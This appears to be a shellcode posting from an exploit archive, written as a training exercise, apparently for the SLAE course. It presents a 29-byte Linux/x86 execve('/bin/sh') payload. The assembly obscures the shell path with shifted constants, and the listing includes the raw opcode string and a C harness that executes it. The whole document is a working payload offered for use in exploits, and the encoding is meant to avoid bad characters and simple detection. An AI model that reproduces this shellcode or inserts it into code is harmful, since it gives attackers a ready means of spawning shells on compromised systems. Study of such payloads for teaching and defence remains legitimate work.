Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)

2019-01-29 22:05:37

/*
# Title : Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)
# Author : Joao Batista
# Date : Jan 2019
# Tested on : i686 GNU/Linux
# Shellcode Length : 29
# SLAE - 1420

global _start

section .text

_start:
xor ecx,ecx
mul ecx
push ecx
mov esi,0x34399797
mov edi,0x3734b117
shl esi,0x1
shl edi,0x1
inc esi
inc edi
push esi
push edi
xchg ebx,esp
mov al,0xb
int 0x80
*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\x51\xbe\x97\x97\x39\x34\xbf\x17\xb1\x34\x37\xd1\xe6\xd1\xe7\x46\x47\x56\x57\x87\xdc\xb0\x0b\xcd\x80";

main()
{
printf("shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}

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